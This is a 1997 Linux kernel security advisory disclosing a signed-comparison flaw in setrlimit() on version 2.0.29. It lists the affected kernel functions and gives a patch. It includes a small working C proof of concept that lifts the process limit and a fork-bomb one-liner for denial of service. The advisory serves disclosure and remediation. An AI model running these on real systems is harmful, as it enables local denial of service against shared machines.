Linux 2.0.29 setrlimit() vulnerability

solar@sun1.ideal.ru
Wed, 26 Mar 1997 19:36:21 -0300 (GMT)


Hello!

In Linux kernel 2.0.29 (probably others also), there is a vulnerability in
setrlimit() syscall, allowing local users to increase their resource limits.
This leads to a possible denial of service. An example exploit can be:

--- setrlimit_exploit.c ---

#include <stdio.h>
#include <sys/resource.h>
#include <unistd.h>

main() {
struct rlimit rl;

rl.rlim_max = rl.rlim_cur = 0x80000000;
if (setrlimit(RLIMIT_NPROC, &rl)) perror("setrlimit");
execl("/bin/sh", "sh", NULL);
}

--- setrlimit_exploit.c ---

The code above removes the limit on number of processes when running as a
non-root user. Then a simple 'while (1) fork();' running as that user would
cause a denial of service regardless of a limit being previously set.

The reason setrlimit() call succeeds is that users are allowed to decrease
their resource limits, but the comparison is signed, so negative values are
always allowed to set. However, some other syscalls don't handle negative
values properly.

For example, find_empty_process() in kernel/fork.c first decreases the value
twice, allowing two magic values (0x80000000 and 0x80000001) to effectively
become huge positive ones. Some other syscalls use the limits as unsigned.

Here's a list of functions that seem vulnerable:
find_empty_process() kernel/fork.c
do_load_aout_binary() fs/binfmt_aout.c
dupfd() fs/fcntl.c
mem_mmap() fs/proc/mem.c
sys_brk() mm/mmap.c
do_mamp() mm/mmap.c
sys_mlock() mm/mlock.c
sys_mlockall() mm/mlock.c
sys_mremap() mm/mremap.c
shm_map() ipc/shm.c
find_extend_vma() arch/*/kernel/ptrace.c
sunos_brk() arch/sparc/kernel/sys_sunos.c
do_page_fault() arch/ppc/mm/fault.c

Simply changing sys_setrlimit() in kernel/sys.c not to allow setting negative
limits seems to fix the problem. However, it might be more correct to treat
such values as 0 (or 1?), I just don't know which is better. Here's the patch
anyway:

+++ kernel/sys.c Wed Mar 26 16:54:01 1997
@@ -854,6 +854,8 @@
if (err)
return err;
memcpy_fromfs(&new_rlim, rlim, sizeof(*rlim));
+ if (new_rlim.rlim_cur < 0 || new_rlim.rlim_max < 0)
+ return -EINVAL;
old_rlim = current->rlim + resource;
if (((new_rlim.rlim_cur > old_rlim->rlim_max) ||
(new_rlim.rlim_max > old_rlim->rlim_max)) &&

Feel free to forward this to security oriented mailing lists, so those relying
on setrlimit() know they should patch or upgrade the kernel.

Signed,
Solar Designer